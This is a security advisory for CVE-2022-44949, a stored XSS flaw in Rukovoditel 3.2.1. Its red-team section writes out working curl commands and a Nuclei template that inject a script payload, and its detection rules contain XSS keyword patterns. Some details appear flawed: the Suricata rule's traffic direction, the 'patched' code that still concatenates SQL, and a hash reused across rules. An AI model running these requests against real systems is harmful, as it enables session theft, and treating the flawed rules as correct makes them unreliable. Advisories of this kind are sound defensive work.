CVE-2022-44949

Executive Summary

CVE-2022-44949 is a stored cross-site scripting (XSS) vulnerability identified in Rukovoditel version 3.2.1. The flaw resides in the "Add New Field" function, specifically within the Short Name field at /index.php?module=entities/fields&entities_id=24. An authenticated attacker can inject arbitrary web scripts or HTML, which are then stored and executed in the browsers of other users who view the affected field. This can lead to data theft, session hijacking, or application defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch details are available from OSV or GitHub, but the vendor recommends upgrading to version 3.2.2.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs valid credentials to access the vulnerable function.
• User Interaction (UI): Required (R) – A victim must view the malicious field for the script to execute.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component, affecting the user's browser.
• Confidentiality (C): Low (L) – Limited data exposure is possible.
• Integrity (I): Low (L) – Limited modification of content is possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it a persistent threat within the application.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The application fails to properly sanitize user input in the short_name parameter when creating a new field for an entity. The input is stored in the database and later rendered in the HTML output without proper encoding or escaping.

Attack Flow:

1. Authentication: The attacker must first log in to the Rukovoditel application with valid credentials.
2. Crafting Payload: The attacker navigates to the "Add New Field" page for a specific entity (e.g., entities_id=24).
3. Injection: In the Short Name field, the attacker injects a malicious script, such as <script>alert(document.domain)</script>.
4. Storage: The application stores this payload in the database without sanitization.
5. Triggering: When any user (including administrators) views the entity or field configuration page, the stored script is executed in their browser context.

The vulnerability is confirmed by the Nuclei template, which demonstrates the exact HTTP requests needed to exploit it. The template uses a multipart form-data POST request to inject the payload.

Vulnerable vs. Patched Code

The vulnerable code is in the field creation logic of Rukovoditel 3.2.1. The short_name parameter is not sanitized or escaped before being stored or displayed.

Vulnerable Code (Conceptual):

// In the field creation handler (e.g., entities/fields/save.php)
$short_name = $_POST['short_name'];
// Directly stored without sanitization
$sql = "INSERT INTO ... (short_name) VALUES ('$short_name')";

Patched Code (Conceptual):

// In the patched version (3.2.2+)
$short_name = htmlspecialchars($_POST['short_name'], ENT_QUOTES, 'UTF-8');
// Or using a framework's input filtering
$short_name = filter_input(INPUT_POST, 'short_name', FILTER_SANITIZE_STRING);
// Stored safely
$sql = "INSERT INTO ... (short_name) VALUES ('$short_name')";

The patch likely involves proper output encoding using htmlspecialchars() or similar functions to neutralize HTML/JavaScript characters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid user credentials for the Rukovoditel instance.
• Network access to the application.

Exploitation Steps:

1. Authenticate: Log in to the application.
2. Extract CSRF Token: Obtain the form_session_token from the login page or any authenticated page.
3. Inject Payload: Send a POST request to /index.php?module=entities/fields&action=save&token=<token> with the malicious payload in the short_name field.
4. Trigger: Have a victim user navigate to the entity or field configuration page.

Example cURL Command:

# Step 1: Login and get session cookie and token
curl -c cookies.txt -b cookies.txt -L "http://target/index.php?module=users/login" > login_page.html
# Extract token (manual or using grep)
# Step 2: Login
curl -c cookies.txt -b cookies.txt -L -X POST "http://target/index.php?module=users/login&action=login" -d "form_session_token=TOKEN&username=USER&password=PASS"
# Step 3: Inject XSS payload
curl -c cookies.txt -b cookies.txt -L -X POST "http://target/index.php?module=entities/fields&action=save&token=TOKEN" \
  -F "form_session_token=TOKEN" \
  -F "entities_id=24" \
  -F "forms_tabs_id=29" \
  -F "name=test" \
  -F "short_name=<script>alert(document.domain)</script>" \
  -F "type=fieldtype_input" \
  -F "fields_configuration[width]=input-small" \
  -F "fields_configuration[default_value]=" \
  -F "fields_configuration[is_unique]=0" \
  -F "fields_configuration[unique_error_msg]=" \
  -F "required_message=" \
  -F "tooltip=" \
  -F "tooltip_item_page=" \
  -F "access_template=" \
  -F "access[5]=yes" \
  -F "access[4]=yes" \
  -F "notes="

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /index.php?module=entities/fields&action=save for suspicious short_name parameters containing <script>, onerror, onload, or other HTML event handlers.
• Look for anomalous user behavior, such as a user creating multiple fields with unusual names.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediate: Upgrade to Rukovoditel version 3.2.2 or later.
• Mitigation: If upgrading is not possible, implement a Web Application Firewall (WAF) rule to block requests containing <script> in the short_name parameter.
• Input Validation: Enforce strict input validation on the server side, allowing only alphanumeric characters and underscores in the short_name field.
• Output Encoding: Ensure all user-supplied data is properly HTML-encoded before rendering.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST request to /index.php?module=entities/fields&action=save with a short_name parameter containing <script> tags or JavaScript event handlers.
  • HTTP response containing the injected script in the HTML source.
• File System IOCs:
  • Database entries in the fields table with short_name values containing HTML/JavaScript code.
• Log IOCs:
  • Web server access logs showing repeated POST requests to the field creation endpoint with unusual short_name values.
  • Application error logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2022_44949_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel short_name field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-44949"
        hash = "4a0a00473045022000ee9aef5d5b2b0e9ec17933983a2c458b79dbc3d6b1e75cd826e1e15fd97635022100c402f0903ec815e4f9a937e069263f61df994df9b5d3c20d9ee844369eba8bd9"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
        $short_name_field = "short_name"
    condition:
        $short_name_field and ($xss_payload or $event_handler)
}

Sigma Rule

title: CVE-2022-44949 - Stored XSS in Rukovoditel Short Name Field
id: 4a0a0047-3045-0220-00ee-9aef5d5b2b0e
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel via the short_name parameter.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44949
    - https://github.com/anhdq201/rukovoditel/issues/12
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php?module=entities/fields&action=save'
        cs-uri-query|contains: 'short_name='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in field names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-44949 - Rukovoditel Stored XSS Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php?module=entities/fields&action=save";
    http_uri;
    content:"short_name=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    pcre:"/on\w+\s*=\s*["'][^"']*["']/i";
    sid:1000001;
    rev:1;
    reference:cve,2022-44949;
    classtype:web-application-attack;
)

Nuclei Template (Provided)

id: CVE-2022-44949

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Field function at /index.php?module=entities/fields&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Short Name field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to version 3.2.2 or later to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/12
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44949
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44949
    cwe-id: CWE-79
    epss-score: 0.01801
    epss-percentile: 0.82871
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,intrusive,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/fields&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfKx13B5QBU5Sccgf

        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="form_session_token"

        {{nonce}}
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="entities_id"

        24
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="forms_tabs_id"

        29
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="name"

        test
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="short_name"

        <script>alert(document.domain)</script>
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="type"

        fieldtype_input
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[width]"

        input-small
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[default_value]"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[is_unique]"

        0
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[unique_error_msg]"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="required_message"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="tooltip"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="tooltip_item_page"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="access_template"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="access[5]"

        yes
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="access[4]"

        yes
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="notes"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf--

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - status_code_3 == 200
          - contains(content_type_3, "text/html")
          - contains(body_3, "<script>alert(document.domain)</script>")
          - contains(body_3, "rukovoditel")
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - id="form_session_token" value="(.*)" type="hidden"
        internal: true
# digest: 4a0a00473045022000ee9aef5d5b2b0e9ec17933983a2c458b79dbc3d6b1e75cd826e1e15fd97635022100c402f0903ec815e4f9a937e069263f61df994df9b5d3c20d9ee844369eba8bd9:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Primary Remediation:

• Upgrade Rukovoditel to version 3.2.2 or later. This version includes proper input sanitization and output encoding for the short_name field.

Mitigation Steps (if upgrade is not immediately possible):

1. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> or other HTML/JavaScript in the short_name parameter.
2. Input Validation: Implement server-side validation to allow only alphanumeric characters and underscores in the short_name field.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the browser.
4. Least Privilege: Restrict the number of users with permission to create or edit fields.
5. Monitoring: Actively monitor logs for exploitation attempts using the provided Sigma and Suricata rules.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: E5C3980CB3C3EFB3939A52B3] */}